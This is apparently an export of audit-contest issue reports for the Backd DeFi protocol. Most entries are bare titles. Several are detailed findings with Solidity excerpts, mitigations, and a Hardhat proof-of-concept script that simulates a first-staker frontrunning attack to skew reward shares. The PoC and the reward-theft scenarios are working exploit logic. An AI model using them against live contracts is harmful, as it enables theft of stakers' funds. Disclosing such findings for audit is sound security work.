"https://github.com/code-423n4/2022-05-backd-findings/issues/122", "labels": ["bug", "G (Gas Optimization)", "sponsor disputed"], "target": "2022-05-backd-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-backd-findings/issues/121", "labels": ["bug", "QA (Quality Assurance)", "resolved", "sponsor confirmed"], "target": "2022-05-backd-findings", "body": "QA Report"}, {"title": "There are multiple ways for admins/governance to rug users", "html_url": "https://github.com/code-423n4/2022-05-backd-findings/issues/113", "labels": ["bug", "2 (Med Risk)", "sponsor disputed"], "target": "2022-05-backd-findings", "body": "There are multiple ways for admins/governance to rug users"}, {"title": "THE FIRST AMM STAKER MAY NOT RECEIVE ACCORDING REWARDS BECAUSE OF POOR CHECKPOINTS", "html_url": "https://github.com/code-423n4/2022-05-backd-findings/issues/111", "labels": ["bug", "2 (Med Risk)", "disagree with severity", "sponsor confirmed"], "target": "2022-05-backd-findings", "body": "# Lines of code https://github.com/code-423n4/2022-05-backd/blob/2a5664d35cde5b036074edef3c1369b984d10010/protocol/contracts/tokenomics/AmmGauge.sol#L56 https://github.com/code-423n4/2022-05-backd/blob/2a5664d35cde5b036074edef3c1369b984d10010/protocol/contracts/tokenomics/AmmGauge.sol#L140 # Vulnerability details ## Impact The first staker within the `AmmGauge` may not get the rewards if the pool is not checkpointed right after he stakes and before he wants to claim the rewards. ## Proof of Concept A testing environment that reproduces how the protocol is going to be deployed and managed is used to evaluate this case under the following assumptions and simplifications. 1) The inflation rate is fixed for simplicity (`0.001`). 2) For the testing environment performed by the team, a DummyERC20 was used as testing token. The same is done on the exploit environment. 3) The minting of tokens impact both on the inflation calculation and their balance. But this test evaluates the states just before minting (claimable balances). Following how the pools are updated, they are checkpointed in the end of the `_executeInflationRateUpdate` call. Not while staking. In order to illustrate this scenario we will show both the vulnerable and non vulnerable situations. Vulnerable Situation: 1) Alice, Bob, Charlie and David are future users of the pool. They all notice the inception of this project and decide to stake. 2) They all stake the same amount. Their transactions are mined with 1min of difference starting from Alice and finishing with David. 3) There is no external pool checkpoint between Alice and Bob (besides the one that is triggered when Bob stakes). 4) Sometime happens and they all want to check their accumulated reward balance. Alice accumulated much less than the others. Non Vulnerable Situation: - The same as before but calling externally `_poolCheckpoint()` between Alice stake call and Bobs' and before checking the accumulated rewards. The code to show this has a `secureCheckpoints` toggle that can be set as true or false to trigger (or not) the intermediate poolCheckpoints. it('First Staker Rewards Calculation', async function () { let secureCheckpoints = false; let currentShare, currentStakedIntegral, balances; await this.ammgauge.poolCheckpoint(); await ethers.provider.send(\"evm_increaseTime\", [1 * 24 * 60 * 60]); // 10 days const updateStates = async (from) => { currentShare = await this.ammgauge.perUserShare(from.address); currentStakedIntegral = await this.ammgauge.perUserStakedIntegral(from.address); balances = await this.ammgauge.balances(from.address); } const stake = async (to, amount) => { await updateStates(to) console.log(\" \") // Balance before let balanceBefore = await this.ammgauge.balances(to.address); // Stake await this.ammgauge.connect(to).stake(amount); expect(await this.ammgauge.balances(to.address)).to.be.eq(balanceBefore.add(amount)); await updateStates(to); console.log(\" \") } const unstake = async (to, amount) => { await updateStates(to) console.log(\" \") // Balance before let balanceBefore = await this.ammgauge.balances(to.address); // Stake await this.ammgauge.connect(to).unstake(amount); expect(await this.ammgauge.balances(to.address)).to.be.eq(balanceBefore.sub(amount)); await updateStates(to); console.log(\" \") } // Each user stakes tokens let initialStaking = ethers.utils.parseEther(\"10\") console.log(\" \") console.log(\"USERS STAKE\"); for (const user of users) { await stake(user, initialStaking) if(secureCheckpoints){await this.ammgauge.poolCheckpoint()}; await ethers.provider.send(\"evm_increaseTime\", [60 * 60]); // 1hr between stakes } console.log(\" \") await ethers.provider.send(\"evm_increaseTime\", [ 5 * 24 * 60 * 60]); // 5 days if(secureCheckpoints){await this.ammgauge.poolCheckpoint()}; let claimableRewards = []; let claimedRewards = []; console.log(\" \") console.log(\"USERS CLAIMABLE REWARDS AFTER 5 days\"); console.log(\" \") for (const user of users) { let stepClaimable = await this.ammgauge.claimableRewards(user.address); claimableRewards.push(ethers.utils.formatEther(stepClaimable)) let rewardsClaim = await (await this.ammgauge.claimRewards(user.address)).wait() claimedRewards.push(ethers.utils.formatEther(rewardsClaim.logs[0][\"data\"])) } console.log(\"Claimable calculated\") console.log(\" ALICE - BOB - CHARLIE - DAVID\") console.log(claimableRewards) console.log(\" \") console.log(\"Effectively Claimed\") console.log(\" ALICE - BOB - CHARLIE - DAVID\") console.log(claimableRewards) }) The outputs for both cases are shown on the following chart. The initial staking amount is 10eth amount of the DummyERC20 token. | | Without Checkpoints | With Checkpoints | |:-------:|:-------------------:|:----------------:| | Alice | 6.6 | 115.5 | | Bob | 111.9 | 111.9 | | Charlie | 110.1 | 110.1 | | David | 108.9 | 108.9 | ## Recommended Mitigation Steps - Check how is calculated the staking variables while the pool has no tokens staked and also how the updates and checkpoints are performed. "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-backd-findings/issues/109", "labels": ["bug", "QA (Quality Assurance)", "resolved", "sponsor confirmed"], "target": "2022-05-backd-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-backd-findings/issues/108", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-05-backd-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-backd-findings/issues/107", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-05-backd-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-backd-findings/issues/106", "labels": ["bug", "QA (Quality Assurance)", "resolved", "sponsor confirmed"], "target": "2022-05-backd-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-backd-findings/issues/105", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed"], "target": "2022-05-backd-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-backd-findings/issues/104", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-05-backd-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-backd-findings/issues/103", "labels": ["bug", "G (Gas Optimization)", "sponsor disputed"], "target": "2022-05-backd-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-backd-findings/issues/102", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-05-backd-findings", "body": "Gas Optimizations"}, {"title": "THE FIRST AMM STAKER WILL HAVE CONTROL OVER HOW THE SHARES ARE CALCULATED", "html_url": "https://github.com/code-423n4/2022-05-backd-findings/issues/100", "labels": ["bug", "2 (Med Risk)", "disagree with severity", "sponsor confirmed"], "target": "2022-05-backd-findings", "body": "# Lines of code https://github.com/code-423n4/2022-05-backd/blob/2a5664d35cde5b036074edef3c1369b984d10010/protocol/contracts/tokenomics/AmmGauge.sol#L147 https://github.com/code-423n4/2022-05-backd/blob/2a5664d35cde5b036074edef3c1369b984d10010/protocol/contracts/tokenomics/AmmGauge.sol#L154 # Vulnerability details ## Impact The first staker can take control of how the subsequent shares are going to be distributed by simply staking 1wei amount of the token and frontrunning future stakers. The reasons of this are related on how the variables are updated and with the amounts that the Gauge allows users to stake (anything but zero). The origin of this vulnerability relies on the evaluation of the `totalStaked` variable on its inception. ## Proof of Concept To illustrate this attack an environment of testing was made in order to track the token flows and how the variables are being updated and read. The initial or border conditions taken into account are the same as the used by the team to perform the tests and just a few assumptions and simplifications were taken. 1) The inflation rate is fixed for simplicity (`0.001`). This is valid within a short period of time because it is not a function of how the tokens are distributed or their flows. By tracking how the inflation rate is calculated an updated, we see that it is managed by the `currentInflationAmountAmm` within the [`Minter.sol` contract](https://github.com/code-423n4/2022-05-backd/blob/2a5664d35cde5b036074edef3c1369b984d10010/protocol/contracts/tokenomics/Minter.sol#L184), which value is modified by `_executeInflationRateUpdate()` three lines below the last code permalink. Its value depends on non-token balance related parameters (such as inflation decays and annual rates). 2) For the testing environment performed by the team, a DummyERC20 was used as testing token. The same is done on the exploit environment. 3) The controller is not used because it is used to retrieve the inflation rate and it is now fixed because of 1). Each user state is updated whenever he calls either `stake`, `unstake` or `claimRewards`. Steps: - Alice is the first staker and deposits 1wei worth of DummyERC20. - Bob takes one day to find out this new protocol and decides to stake 10 ETH amount of tokens (`10 * 10**decimals()`). - Alice, who was scanning the mempool, frontruns Bob with the same amount he was willing to stake. Her txn is mined first. - Then Bobs' transaction is mined for the 10 ETH worth. - Sometime after this, the pool is checkpointed. - A few days pass, and Bob wants to stake even more tokens. The same amount as before. - Alice frontruns him again updating her shares. - Bobs' transaction is mined and his shares are also updated. - The pool is checkpointed again. And Alice managed to increase considerably her amount of shares. Both cases were evaluated (with and without staking 1 wei first). The attack scenario outputs a 100% more shares to Alice than Bob in comparison with the ethical/non-attack situation. The code used to perform this test is the following: it(\"First Depositer Exploit\", async function () { let userShares = [] let userIntegral = [] let userBalance = [] let globalIntegral, totalStaked; let aliceBob = [alice, bob]; // Starting Checkpoint await this.ammgauge.poolCheckpoint(); await ethers.provider.send(\"evm_increaseTime\", [1 * 24 * 60 * 60]); // 10 days const updateStates = async () => { userShares = [] userIntegral = [] userBalance = [] for (const user of aliceBob) { let balances = ethers.utils.formatEther(await this.ammgauge.balances(user.address)); let currentShare = ethers.utils.formatEther(await this.ammgauge.perUserShare(user.address)); let currentStakedIntegral = ethers.utils.formatEther(await this.ammgauge.perUserStakedIntegral(user.address)); userShares.push(currentShare); userIntegral.push(currentStakedIntegral); userBalance.push(balances); } globalIntegral = await this.ammgauge.ammStakedIntegral() totalStaked = await this.ammgauge.totalStaked() console.log(\" \") console.log(\" ALICE / BOB\"); console.log(`Shares: ${userShares}`); console.log(`Integr: ${userIntegral}`); console.log(`Balanc: ${userBalance}`); console.log(\" \") console.log(\"Global\") console.log(`Integral: ${ethers.utils.formatEther(globalIntegral)}, TotalStaked: ${ethers.utils.formatEther(totalStaked)}`) } const stake = async (to, amount) => { await updateStates() console.log(\" \") // Balance before let balanceBefore = await this.ammgauge.balances(to.address); // Stake await this.ammgauge.connect(to).stake(amount); expect(await this.ammgauge.balances(to.address)).to.be.eq(balanceBefore.add(amount)); // await updateStates(); console.log(\" \") } const unstake = async (to, amount) => { await updateStates() console.log(\" \") // Balance before let balanceBefore = await this.ammgauge.balances(to.address); // Stake await this.ammgauge.connect(to).unstake(amount); expect(await this.ammgauge.balances(to.address)).to.be.eq(balanceBefore.sub(amount)); await updateStates(); console.log(\" \") } // HERE IS WHERE THE SIMULATION IS PERFORMED let simulationTimes = 2; let withOneWeiDeposit = true; if (withOneWeiDeposit) { // Alice deposits first console.log(\"Alice Deposits 1wei\") let firstUserDeposit = ethers.utils.parseEther(\"1\"); await stake(alice, 1); } for (let index = 1; index <= simulationTimes; index++) { console.log(\" \") console.log(`Loop number ${index}`); console.log(\" \") console.log(\"A day passes until Bob decides to deposit\") await ethers.provider.send(\"evm_increaseTime\", [1 * 24 * 60 * 60]); // 1 days console.log(\" \") console.log(\"She scans that Bob is about to stake 10. So decides to frontrun him.\") console.log(\"Alice Frontruns\") let frontrunAmount = ethers.utils.parseEther(\"10\"); await stake(alice, frontrunAmount); console.log(\" \") console.log(\"Bob stakes 10 tokens\") await stake(bob, frontrunAmount) // A few days pass await ethers.provider.send(\"evm_increaseTime\", [1 * 24 * 60 * 60]); // 2 days // The pool is checkpointed await this.ammgauge.poolCheckpoint(); console.log(\"After 1 day the pool is checkpointed\") await updateStates() } }) The simulation was both made for the attacked and non attacked situations. The values that are shown represent how the contract updates them (the `totalStaked` variable is 0 when first Alice calls the stake function after `_userCheckpoint()` rans) ### WITH 1WEI STAKE (ATTACK) | time | Situation | totalStaked | Alice Shares | Bob Shares | |:----:|:--------------------------------------:|:-------------:|:------------:|:----------:| | 0- | First poolCheckpoint | 0 | 0 | 0 | | 0+ | Alice Deposits 1wei | 0 | 0 | 0 | | 1 | Alice frontruns Bob @ 10eth | 1wei | 0 | 0 | | 2 | Bob 10eth txn is mined | 10eth + 1wei | 86.4 | 0 | | 3 | 1 day later poolCheckpoint() is called | 20eth + 1 wei | 86.4 | 0 | | 4 | Alice frontruns Bob again | 20eth + 1 wei | 86.4 | 0 | | 5 | Bob 10eth txn is mined | 30eth + 1wei | 172.8 | 0 | | 6 | 1 day later poolCheckpoint() is called | 40eth + 1wei | 172.8 | 86.4 | ### WITHOUT THE 1WEI STAKE (No \"first staker hijack\") | time | Situation | totalStaked | Alice Shares | Bob Shares | |:----:|:--------------------------------------:|:-----------:|:------------:|:----------:| | 0- | First poolCheckpoint | 0 | 0 | 0 | | 0+ | Alice stakes 10eth | 0 | 0 | 0 | | 1 | Bob stakes 10eth | 10eth | 0 | 0 | | 2 | 1 day later poolCheckpoint() is called | 20eth | 0 | 0 | | 3 | Alice stakes 10eth | 20eth | 0 | 0 | | 4 | Bob stakes 10eth | 30eth | 86.4 | 0 | | 5 | 1 day later poolCheckpoint() is called | 40eth | 86.4 | 86.4 | ## Recommended Mitigation Steps Further evaluation on how the variables are updated and how does the `Integral` (both each users and global one) is calculated on the pool inception is needed to patch this issue. "}, {"title": "`Minter.sol#startInflation()` can be bypassed", "html_url": "https://github.com/code-423n4/2022-05-backd-findings/issues/99", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2022-05-backd-findings", "body": "# Lines of code https://github.com/code-423n4/2022-05-backd/blob/2a5664d35cde5b036074edef3c1369b984d10010/protocol/contracts/tokenomics/Minter.sol#L104-L108 # Vulnerability details https://github.com/code-423n4/2022-05-backd/blob/2a5664d35cde5b036074edef3c1369b984d10010/protocol/contracts/tokenomics/Minter.sol#L104-L108 ```solidity function startInflation() external override onlyGovernance { require(lastEvent == 0, \"Inflation has already started.\"); lastEvent = block.timestamp; lastInflationDecay = block.timestamp; } ``` As `lastEvent` and `lastInflationDecay` are not initialized in the `constructor()`, they will remain to the default value of `0`. However, the permissionless `executeInflationRateUpdate()` method does not check the value of `lastEvent` and `lastInflationDecay` and used them directly. As a result, if `executeInflationRateUpdate()` is called before `startInflation()`: 1. L190, the check of if `_INFLATION_DECAY_PERIOD` has passed since `lastInflationDecay` will be `true`, and `initialPeriodEnded` will be set to `true` right away; 2. L188, since the `lastEvent` in `totalAvailableToNow += (currentTotalInflation * (block.timestamp - lastEvent));` is `0`, the `totalAvailableToNow` will be set to `totalAvailableToNow \u2248 currentTotalInflation * 52 years`, which renders the constrains of `totalAvailableToNow` incorrect and useless. https://github.com/code-423n4/2022-05-backd/blob/2a5664d35cde5b036074edef3c1369b984d10010/protocol/contracts/tokenomics/Minter.sol#L115-L117 ```solidity function executeInflationRateUpdate() external override returns (bool) { return _executeInflationRateUpdate(); } ``` https://github.com/code-423n4/2022-05-backd/blob/2a5664d35cde5b036074edef3c1369b984d10010/protocol/contracts/tokenomics/Minter.sol#L187-L215 ```solidity function _executeInflationRateUpdate() internal returns (bool) { totalAvailableToNow += (currentTotalInflation * (block.timestamp - lastEvent)); lastEvent = block.timestamp; if (block.timestamp >= lastInflationDecay + _INFLATION_DECAY_PERIOD) { currentInflationAmountLp = currentInflationAmountLp.scaledMul(annualInflationDecayLp); if (initialPeriodEnded) { currentInflationAmountKeeper = currentInflationAmountKeeper.scaledMul( annualInflationDecayKeeper ); currentInflationAmountAmm = currentInflationAmountAmm.scaledMul( annualInflationDecayAmm ); } else { currentInflationAmountKeeper = initialAnnualInflationRateKeeper / _INFLATION_DECAY_PERIOD; currentInflationAmountAmm = initialAnnualInflationRateAmm / _INFLATION_DECAY_PERIOD; initialPeriodEnded = true; } currentTotalInflation = currentInflationAmountLp + currentInflationAmountKeeper + currentInflationAmountAmm; controller.inflationManager().checkpointAllGauges(); lastInflationDecay = block.timestamp; } return true; } ``` https://github.com/code-423n4/2022-05-backd/blob/2a5664d35cde5b036074edef3c1369b984d10010/protocol/contracts/tokenomics/Minter.sol#L50-L51 ```solidity // Used for final safety check to ensure inflation is not exceeded uint256 public totalAvailableToNow; ``` https://github.com/code-423n4/2022-05-backd/blob/2a5664d35cde5b036074edef3c1369b984d10010/protocol/contracts/tokenomics/Minter.sol#L217-L227 ```solidity function _mint(address beneficiary, uint256 amount) internal returns (bool) { totalAvailableToNow += ((block.timestamp - lastEvent) * currentTotalInflation); uint256 newTotalMintedToNow = totalMintedToNow + amount; require(newTotalMintedToNow <= totalAvailableToNow, \"Mintable amount exceeded\"); totalMintedToNow = newTotalMintedToNow; lastEvent = block.timestamp; token.mint(beneficiary, amount); _executeInflationRateUpdate(); emit TokensMinted(beneficiary, amount); return true; } ``` ### Recommendation Consider initializing `lastEvent`, `lastInflationDecay` in `constructor()`. or Consider adding `require(lastEvent != 0 && lastInflationDecay != 0, \"...\")` to `executeInflationRateUpdate()`. "}, {"title": "`Minter.sol#_executeInflationRateUpdate()` `inflationManager().checkpointAllGauges()` is called after InflationRate is updated, causing users to lose rewards", "html_url": "https://github.com/code-423n4/2022-05-backd-findings/issues/98", "labels": ["bug", "2 (Med Risk)", "disagree with severity", "sponsor confirmed"], "target": "2022-05-backd-findings", "body": "# Lines of code https://github.com/code-423n4/2022-05-backd/blob/2a5664d35cde5b036074edef3c1369b984d10010/protocol/contracts/tokenomics/Minter.sol#L187-L215 # Vulnerability details When `Minter.sol#_executeInflationRateUpdate()` is called, if an `_INFLATION_DECAY_PERIOD` has past since `lastInflationDecay`, it will update the InflationRate for all of the gauges. However, in the current implementation, the rates will be updated first, followed by the rewards being settled using the new rates on the gauges using `inflationManager().checkpointAllGauges()`. If the `_INFLATION_DECAY_PERIOD` has passed for a long time before `Minter.sol#executeInflationRateUpdate()` is called, the users may lose a significant amount of rewards. On a side note, `totalAvailableToNow` is updated correctly. https://github.com/code-423n4/2022-05-backd/blob/2a5664d35cde5b036074edef3c1369b984d10010/protocol/contracts/tokenomics/Minter.sol#L187-L215 ```solidity function _executeInflationRateUpdate() internal returns (bool) { totalAvailableToNow += (currentTotalInflation * (block.timestamp - lastEvent)); lastEvent = block.timestamp; if (block.timestamp >= lastInflationDecay + _INFLATION_DECAY_PERIOD) { currentInflationAmountLp = currentInflationAmountLp.scaledMul(annualInflationDecayLp); if (initialPeriodEnded) { currentInflationAmountKeeper = currentInflationAmountKeeper.scaledMul( annualInflationDecayKeeper ); currentInflationAmountAmm = currentInflationAmountAmm.scaledMul( annualInflationDecayAmm ); } else { currentInflationAmountKeeper = initialAnnualInflationRateKeeper / _INFLATION_DECAY_PERIOD; currentInflationAmountAmm = initialAnnualInflationRateAmm / _INFLATION_DECAY_PERIOD; initialPeriodEnded = true; } currentTotalInflation = currentInflationAmountLp + currentInflationAmountKeeper + currentInflationAmountAmm; controller.inflationManager().checkpointAllGauges(); lastInflationDecay = block.timestamp; } return true; } ``` https://github.com/code-423n4/2022-05-backd/blob/2a5664d35cde5b036074edef3c1369b984d10010/protocol/contracts/tokenomics/InflationManager.sol#L110-L125 ```solidity function checkpointAllGauges() external override returns (bool) { uint256 length = _keeperGauges.length(); for (uint256 i; i < length; i = i.uncheckedInc()) { IKeeperGauge(_keeperGauges.valueAt(i)).poolCheckpoint(); } address[] memory stakerVaults = addressProvider.allStakerVaults(); for (uint256 i; i < stakerVaults.length; i = i.uncheckedInc()) { IStakerVault(stakerVaults[i]).poolCheckpoint(); } length = _ammGauges.length(); for (uint256 i; i < length; i = i.uncheckedInc()) { IAmmGauge(_ammGauges.valueAt(i)).poolCheckpoint(); } return true; } ``` https://github.com/code-423n4/2022-05-backd/blob/2a5664d35cde5b036074edef3c1369b984d10010/protocol/contracts/tokenomics/KeeperGauge.sol#L110-L117 ```solidity function poolCheckpoint() public override returns (bool) { if (killed) return false; uint256 timeElapsed = block.timestamp - uint256(lastUpdated); uint256 currentRate = IController(controller).inflationManager().getKeeperRateForPool(pool); perPeriodTotalInflation[epoch] += currentRate * timeElapsed; lastUpdated = uint48(block.timestamp); return true; } ``` https://github.com/code-423n4/2022-05-backd/blob/2a5664d35cde5b036074edef3c1369b984d10010/protocol/contracts/tokenomics/InflationManager.sol#L507-L519 ```solidity function getKeeperRateForPool(address pool) external view override returns (uint256) { if (minter == address(0)) { return 0; } uint256 keeperInflationRate = Minter(minter).getKeeperInflationRate(); // After deactivation of weight based dist, KeeperGauge handles the splitting if (weightBasedKeeperDistributionDeactivated) return keeperInflationRate; if (totalKeeperPoolWeight == 0) return 0; bytes32 key = _getKeeperGaugeKey(pool); uint256 poolInflationRate = (currentUInts256[key] * keeperInflationRate) / totalKeeperPoolWeight; return poolInflationRate; } ``` https://github.com/code-423n4/2022-05-backd/blob/2a5664d35cde5b036074edef3c1369b984d10010/protocol/contracts/tokenomics/Minter.sol#L173-L176 ```solidity function getKeeperInflationRate() external view override returns (uint256) { if (lastEvent == 0) return 0; return currentInflationAmountKeeper; } ``` ### PoC Given: - currentInflationAmountAmm: 12,000 Bkd (1000 per month) - annualInflationDecayAmm: 50% - initialPeriodEnded: true - lastInflationDecay: 11 months ago - _INFLATION_DECAY_PERIOD: 1 year 1. Alice deposited as the one and only staker in the `AmmGauge` pool; 2. 1 month later; 3. `Minter.sol#_executeInflationRateUpdate()` is called; 4. Alice `claimableRewards()` and received `500` Bkd tokens. Expected Results: - Alice to receive `1000` Bkd tokens as rewards. Actual Results: - Alice received `500` Bkd tokens as rewards. ### Recommendation Consider moving the call to `checkpointAllGauges()` to before the `currentInflationAmountKeeper` is updated. ```solidity function _executeInflationRateUpdate() internal returns (bool) { totalAvailableToNow += (currentTotalInflation * (block.timestamp - lastEvent)); lastEvent = block.timestamp; if (block.timestamp >= lastInflationDecay + _INFLATION_DECAY_PERIOD) { controller.inflationManager().checkpointAllGauges(); currentInflationAmountLp = currentInflationAmountLp.scaledMul(annualInflationDecayLp); if (initialPeriodEnded) { currentInflationAmountKeeper = currentInflationAmountKeeper.scaledMul( annualInflationDecayKeeper ); currentInflationAmountAmm = currentInflationAmountAmm.scaledMul( annualInflationDecayAmm ); } else { currentInflationAmountKeeper = initialAnnualInflationRateKeeper / _INFLATION_DECAY_PERIOD; currentInflationAmountAmm = initialAnnualInflationRateAmm / _INFLATION_DECAY_PERIOD; initialPeriodEnded = true; } currentTotalInflation = currentInflationAmountLp + currentInflationAmountKeeper + currentInflationAmountAmm; lastInflationDecay = block.timestamp; } return true; } ``` "}, {"title": "Attacker can steal funds from the contract with re-entrancy from hookable tokens", "html_url": "https://github.com/code-423n4/2022-05-backd-findings/issues/96", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed"], "target": "2022-05-backd-findings", "body": "Attacker can steal funds from the contract with re-entrancy from hookable tokens"}, {"title": "`BkdLocker#depositFees()` can be front run to steal the newly added rewardToken", "html_url": "https://github.com/code-423n4/2022-05-backd-findings/issues/95", "labels": ["bug", "2 (Med Risk)", "sponsor disputed"], "target": "2022-05-backd-findings", "body": "`BkdLocker#depositFees()` can be front run to steal the newly added rewardToken"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-backd-findings/issues/94", "labels": ["bug", "QA (Quality Assurance)", "resolved", "sponsor confirmed"], "target": "2022-05-backd-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-backd-findings/issues/93", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-05-backd-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-backd-findings/issues/92", "labels": ["bug", "G (Gas Optimization)", "sponsor disputed"], "target": "2022-05-backd-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-backd-findings/issues/91", "labels": ["bug", "QA (Quality Assurance)", "resolved", "sponsor confirmed"], "target": "2022-05-backd-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-backd-findings/issues/90", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-05-backd-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-backd-findings/issues/89", "labels": ["bug", "QA (Quality Assurance)", "resolved", "sponsor confirmed"], "target": "2022-05-backd-findings", "body": "QA Report"}, {"title": "StakerVault.unstake(), StakerVault.unstakeFor() would revert with a uint underflow error of StakerVault.strategiesTotalStaked, StakerVault._poolTotalStaked.", "html_url": "https://github.com/code-423n4/2022-05-backd-findings/issues/87", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-05-backd-findings", "body": "# Lines of code https://github.com/code-423n4/2022-05-backd/tree/main/protocol/contracts/StakerVault.sol#L98-L102 https://github.com/code-423n4/2022-05-backd/tree/main/protocol/contracts/StakerVault.sol#L342-L346 https://github.com/code-423n4/2022-05-backd/tree/main/protocol/contracts/StakerVault.sol#L391-L395 # Vulnerability details ## Impact StakerVault.unstake(), StakerVault.unstakeFor() would revert with a uint underflow error of StakerVault.strategiesTotalStaked, StakerVault._poolTotalStaked. ## Proof of Concept Currently it saves totalStaked for strategies and non-strategies separately. uint underflow error could be occured in these cases. Scenario 1. 1. Address A(non-strategy) stakes some amount x and it will be added to StakerVault_poolTotalStaked. 2. This address A is approved as a strategy by StakerVault.inflationManager. 3. Address A tries to unstake amount x, it will be deducted from StakerVault.strategiesTotalStaked because this address is a strategy already. Even if it would succeed for this strategy but it will revert for other strategies because StakerVault.strategiesTotalStaked is less than correct staked amount for strategies. Scenario 2. There is a transfer between strategy and non-strategy using StakerVault.transfer(), StakerVault.transferFrom() functions. In this case, StakerVault.strategiesTotalStaked and StakerVault._poolTotalStaked must be changed accordingly but there is no such logic. ## Tools Used Solidity Visual Developer of VSCode ## Recommended Mitigation Steps You need to modify 3 functions. StakerVault.addStrategy(), StakerVault.transfer(), StakerVault.transferFrom(). 1. You need to move staked amount from StakerVault._poolTotalStaked to StakerVault.strategiesTotalStaked every time when StakerVault.inflationManager approves a new strategy. You can modify addStrategy() at L98-L102 like this. function addStrategy(address strategy) external override returns (bool) { require(msg.sender == address(inflationManager), Error.UNAUTHORIZED_ACCESS); require(!strategies[strategy], Error.ADDRESS_ALREADY_SET); strategies[strategy] = true; _poolTotalStaked -= balances[strategy]; strategiesTotalStaked += balances[strategy]; return true; } 2. You need to add below code at L126 of transfer() function. if(strategies[msg.sender] != strategies[account]) { if(strategies[msg.sender]) { // from strategy to non-strategy _poolTotalStaked += amount; strategiesTotalStaked -= amount; } else { // from non-strategy to strategy _poolTotalStaked -= amount; strategiesTotalStaked += amount; } } 3. You need to add below code at L170 of transferFrom() function. if(strategies[src] != strategies[dst]) { if(strategies[src]) { // from strategy to non-strategy _poolTotalStaked += amount; strategiesTotalStaked -= amount; } else { // from non-strategy to strategy _poolTotalStaked -= amount; strategiesTotalStaked += amount; } } "}, {"title": "Users can claim more fees than expected if governance migrates current rewardToken again by fault.", "html_url": "https://github.com/code-423n4/2022-05-backd-findings/issues/86", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-05-backd-findings", "body": "# Lines of code https://github.com/code-423n4/2022-05-backd/tree/main/protocol/contracts/BkdLocker.sol#L70-L75 https://github.com/code-423n4/2022-05-backd/tree/main/protocol/contracts/BkdLocker.sol#L302-L322 # Vulnerability details ## Impact Users can claim more fees than expected if governance migrates current rewardToken again by fault. ## Proof of Concept In the migrate() function, there is no requirement newRewardToken != rewardToken. If this function is called with the same \"rewardToken\" parameter, \"_replacedRewardTokens\" will contain the current \"rewardToken\" also. Then when the user claims fees, \"userShares\" will be added two times for the same token at L302-L305, L314-L317. It's because \"curRewardTokenData.userFeeIntegrals[user]\" is updated at L332 after the \"userShares\" calculation for past rewardTokens. So the user can get paid more fees than he should. ## Tools Used Solidity Visual Developer of VSCode ## Recommended Mitigation Steps You need to add this require() at L71. require(newRewardToken != rewardToken, Error.SAME_AS_CURRENT); "}, {"title": "Strategy in StakerVault.sol can steal more rewards even though it's designed strategies shouldn't get rewards.", "html_url": "https://github.com/code-423n4/2022-05-backd-findings/issues/85", "labels": ["bug", "2 (Med Risk)", "disagree with severity", "sponsor confirmed"], "target": "2022-05-backd-findings", "body": "# Lines of code https://github.com/code-423n4/2022-05-backd/tree/main/protocol/contracts/StakerVault.sol#L95 https://github.com/code-423n4/2022-05-backd/tree/main/protocol/contracts/tokenomics/LpGauge.sol#L52-L63 # Vulnerability details ## Impact Strategy in StakerVault.sol can steal more rewards even though it's designed strategies shouldn't get rewards. Also there will be a problem with a rewarding system in LpGauge.sol so that some normal users wouldn't get rewards properly. ## Proof of Concept 1. Strategy A staked amount x and x will be added to StakerVault.strategiesTotalStaked. contracts\\StakerVault.sol#L312 2. Strategy A transferred the amount x to non-strategy B and StakerVault.strategiesTotalStaked, StakerVault._poolTotalStaked won't be updated. contracts\\StakerVault.sol#L111 3. After some time for the larger LpGauge.poolStakedIntegral, B claims rewards using the LpGauge.claimRewards() function. contracts\\tokenomics\\LpGauge.sol#L52 Inside LpGauge.userCheckPoint(), it's designed not to calculate LpGauge.perUserShare for strategy, but it will pass this condition because B is not a strategy. contracts\\tokenomics\\LpGauge.sol#L90 Furthermore, when calculate rewards, LpGauge.poolStakedIntegral will be calculated larger than a normal user stakes same amount. It's because StakerVault._poolTotalStaked wasn't updated when A transfers x amount to B so LpGauge.poolTotalStaked is less than correct value. contracts\\tokenomics\\LpGauge.sol#L113-L117 Finally B can get more rewards than he should and the reward system will pay more rewards than it's designed. ## Tools Used Solidity Visual Developer of VSCode ## Recommended Mitigation Steps I think there will be two methods to fix. Method 1 is to forbid a transfer between strategy and 